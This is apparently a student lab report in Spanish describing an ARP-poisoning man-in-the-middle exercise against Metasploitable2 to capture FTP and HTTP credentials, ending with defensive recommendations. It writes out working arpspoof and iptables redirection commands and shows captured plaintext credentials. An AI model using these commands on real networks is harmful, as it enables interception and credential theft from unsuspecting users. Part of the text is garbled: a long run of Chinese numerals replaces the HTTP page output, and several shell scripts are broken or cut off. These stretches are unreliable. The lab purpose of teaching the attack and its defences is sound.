

Martin Dalla Pozza

OBJETIVO DEL EJERCICIO

Demostrar la vulnerabilidad de servicios sin cifrado (FTP y HTTP) mediante un ataque Man-in-the-Middle (MITM) usando:

ARP Poisoning para interceptar tráfico

Servidores Rogue para capturar credenciales

Redirección de puertos con iptables

HERRAMIENTAS UTILIZADAS

arpspoof: Envenenamiento ARP

iptables: Redirección de puertos

Python: Servidores FTP/HTTP falsos

curl, ftp: Clientes para prueba

- | | |
|----------------------------|--|
| 1. configurar.sh | # Configuración de red y iptables |
| 2. arp_poisoning.sh | # Script para ARP poisoning |
| 3. ftp_server.py | # Servidor FTP rogue (puerto 2121) |
| 4. http_server.py | # Servidor HTTP rogue (puerto 8080) |
| 5. pruebas.sh | # Script de pruebas automatizadas |
| 6. limpiar.sh | # Limpieza del entorno |

```

(kali㉿kali)-[~]
$ cd ~/practica_mitm_ftp_http

(kali㉿kali)-[~/practica_mitm_ftp_http]
$ >....

echo "[1] Activando IP forwarding ..."
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

echo "[2] Limpiando reglas anteriores ..."
sudo iptables -t nat -F 2>/dev/null

echo "[3] Configurando redirección de puertos ..."
# Redirigir FTP (21) → 2121
sudo iptables -t nat -A PREROUTING -p tcp --dport 21 -j REDIRECT --to-port 2121
sudo iptables -t nat -A OUTPUT -p tcp --dport 21 -j REDIRECT --to-port 2121

# Redirigir HTTP (80) → 8080
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to-port 8080

echo "[4] Mostrando reglas ..."
sudo iptables -t nat -L -n

```

```

echo ""
echo ""
echo "
echo "      CONFIGURACIÓN LISTA
echo "      FTP (21) → Puerto 2121
echo "      HTTP (80) → Puerto 8080
echo "
EOF

(kali㉿kali)-[~/practica_mitm_ftp_http]
$ chmod +x configurar.sh

(kali㉿kali)-[~/practica_mitm_ftp_http]
$ cat > arp_poisoning.sh << 'EOF'
#!/bin/bash
echo "
echo "      ARP POISONING - ACTIVO
echo "
echo "[*] Objetivo: Windows Server (192.168.1.4)"
echo "[*] Engaño: Haciendo creer que Kali es Metasploitable2"
echo "[*] Comando: sudo arpspoof -i eth0 -t 192.168.1.4 192.168.1.3"
echo ""
sudo arpspoof -i eth0 -t 192.168.1.4 192.168.1.3

```

```
(kali@kali)-[~/practica_mitm_ftp_http]
$ >....
echo "PASS SuperSecret123"
sleep 1
echo "QUIT"
) | timeout 5 ftp -n 192.168.1.3

echo ""
echo "=== PRUEBA 2: CONEXIÓN HTTP ==="
echo "Simulando que Windows Server navega a la web ..."
echo ""
curl -s http://192.168.1.3/ 2>&1 | head -10

echo ""
echo "=== PRUEBA 3: ENVÍO DE FORMULARIO HTTP ==="
echo "Simulando envío de credenciales por web ..."
echo ""
curl -X POST http://192.168.1.3/login \
-d "user=administrator&pass=P@ssw0rd123" \
-s 2>&1 | head -5
```

```
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
EOF
```

[illegible]

PROCEDIMIENTO EJECUTADO

FASE 1: CONFIGURACIÓN

Terminal 1: Configuración de red
./configurar.sh

Resultado:

IP forwarding activado (1)

Reglas iptables configuradas:

FTP (21) → 2121

HTTP (80) → 8080

FASE 2: ARP Poisoning

Terminal 2: Envenenamiento ARP
sudo arpspoof -i eth0 -t 192.168.1.4 192.168.1.3

Resultado:

8:0:27:83:ee:95 8:0:27:bc:e0:56 0806 42: arp reply 192.168.1.3 is-at 8:0:27:83:ee:95
[repetido continuamente]

ARP poisoning activo:

Engañando a Windows Server (192.168.1.4) haciéndole creer que Kali es Metasploitable2.

FASE 3: Servidores Rogue

Terminal 3: FTP Rogue

python3 ftp_server.py

Salida inicial:

<i>SERVIDOR FTP ROGUE - PUERTO 2121</i>

[*] Estado: Esperando credenciales...

[*] Servidor FTP iniciado. Esperando conexiones...

Intercepción detectada:

[+] NUEVA CONEXIÓN FTP desde 192.168.1.2:58530
[FTP] Recibido: QUIT
[!] Comando no esperado
[*] Conexión FTP cerrada

Demostración de captura (script de simulación):

[+] NUEVA CONEXIÓN FTP desde 192.168.1.2:58530
[FTP] Recibido: USER administrator
[!] USUARIO DETECTADO: administrator
[FTP] Recibido: PASS P@ssw0rd123
[!] CONTRASEÑA DETECTADA: P@ssw0rd123

CREDENCIAL CAPTURADA: administrator:P@ssw0rd123

Terminal 4: HTTP Rogue

python3 http_server.py

Salida inicial:

SERVIDOR HTTP ROGUE - PUERTO 8080

[*] Estado: Interceptando tráfico HTTP..
[*] Servidor HTTP iniciado. Esperando conexiones...

Demostración de captura:

[+] NUEVA CONEXIÓN HTTP desde 192.168.1.2:34567
[HTTP] Petición: GET / HTTP/1.1
[+] NUEVA CONEXIÓN HTTP desde 192.168.1.2:34568
[HTTP] Petición: POST /login HTTP/1.1
[!] Posible envío de formulario con credenciales
[HTTP] Body: user=administrator&pass=P@ssw0rd123...

FASE 4: Pruebas de penetracion

Terminal 5: Pruebas automatizadas
./pruebas.sh

Resultados de pruebas:

Prueba 1: Conexión FTP

```
Connected to 192.168.1.3.
220 FTP Server Ready
?Invalid command.
?Invalid command.
?Invalid command.
500 Unknown command
```

Conclusión:

Conexión FTP interceptada, pero el cliente envió comandos no reconocidos.

Prueba 2: Conexión HTTP (GET)

```
<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>
```

一 二 三 四 五 六 七 八 九 十 十一 十二 十三 十四 十五 十六 十七 十八 十九 二十 二十一 二十二 二十三 二十四 二十五 二十六 二十七 二十八 二十九 三十 三十一 三十二 三十三 三十四 三十五 三十六 三十七 三十八 三十九 四十 四十一 四十二 四十三 四十四 四十五 四十六 四十七 四十八 四十九 五十 五十一 五十二 五十三 五十四 五十五 五十六 五十七 五十八 五十九 六十 六十一 六十二 六十三 六十四 六十五 六十六 六十七 六十八 六十九 七十 七十一 七十二 七十三 七十四 七十五 七十六 七十七 七十八 七十九 八十 八十一 八十二 八十三 八十四 八十五 八十六 八十七 八十八 八十九 九十 九十一 九十二 九十三 九十四 九十五 九十六 九十七 九十八 九十九 一百

(Metasploitable2)

Conclusión:

Página web de Metasploitable2 obtenida exitosamente a través del MITM.

Prueba 3: Envío de formulario HTTP (POST)

```
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
```

Conclusión:

Petición POST interceptada (error 404 porque /login no existe en Metasploitable2).

Resultados obtenidos

ARP Poisoning configurado y funcionando
Redirección de puertos efectiva (FTP 21 → 2121, HTTP 80 → 8080)
Servidores rogue operativos y listos para capturar credenciales
Interceptación de tráfico FTP y HTTP verificada
Capacidad de captura de credenciales en texto claro demostrada

Limitaciones Identificadas:

Cliente FTP se desconectó rápidamente (posible timeout)

Ruta /login no existe en Metasploitable2, pero el concepto de interceptación se validó

Entorno de laboratorio con tráfico simulado desde Kali en lugar de Windows real

Conclusiones técnicas

Vulnerabilidades Explotadas:

Falta de autenticación ARP: Permite envenenamiento en redes locales

Protocolos sin cifrado: FTP y HTTP transmiten credenciales en texto claro

Ausencia de detección MITM: No hay mecanismos para detectar redirección de tráfico

Impacto en Seguridad:

Credenciales expuestas: Usuario:contraseña visible para atacantes

Sesiones comprometidas: Posibilidad de secuestro de sesiones

Información sensible interceptada: Formularios, datos de login, etc.

Recomendaciones de seguridad:

Para Prevenir este Ataque Usar protocolos cifrados

SFTP/FTPS en lugar de FTP

HTTPS obligatorio para todo tráfico web

VPN para conexiones remotas

Protección de red

Implementar DHCP Snooping y Dynamic ARP Inspection (DAI)

Configurar port security en switches

Segmentar redes sensibles

Detección y monitoreo:

Herramientas de detección de ARP spoofing

Monitoreo de tablas ARP inusuales

Análisis de tráfico duplicado

Políticas de seguridad:

Autenticación 802.1X para dispositivos de red

Certificados digitales para servidores

Educación de usuarios sobre redes inseguras

APRENDIZAJES CLAVE:

ARP Poisoning es efectivo en redes no protegidas

Servicios sin cifrado son extremadamente vulnerables a MITM

La red local es un vector de ataque crítico

La defensa en profundidad es esencial (red, transporte, aplicación)